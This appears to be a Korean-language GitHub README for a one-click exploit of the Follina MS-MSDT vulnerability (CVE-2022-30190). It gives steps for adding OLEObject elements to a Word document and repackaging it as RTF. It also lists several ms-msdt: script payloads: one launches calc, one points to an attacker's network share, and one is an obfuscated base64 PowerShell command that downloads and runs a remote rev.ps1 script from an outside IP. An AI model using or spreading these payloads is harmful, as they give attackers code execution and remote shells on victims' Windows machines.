0xflagplz/ms-msdt-office-rce-follinaCVE-2022-30190 | MS-MSDT Follina 원클릭
CVE-2022-30190 | MS-MSDT Follina 원클릭
아래의 매개변수 단계/매개변수를 사용하여 docx가 저장된 후, Docx를 RTF로 저장합니다.
또한
word/document.xml의<o:OLEObject>요소 아래에 다음 요소를 추가하는 경우:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
재압축 과정은 JohnHammond의 Python 스크립트에서도 확인할 수 있습니다:
~ 원본 Office 파일 재구축 ~
shutil.make_archive(args.output, "zip", doc_path)
os.rename(args.output + ".zip", args.output)
참고: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>
Start-Process('calc')를 다음으로 바꿀 수 있습니다:
IEX('calc.exe')
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
디코딩: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))
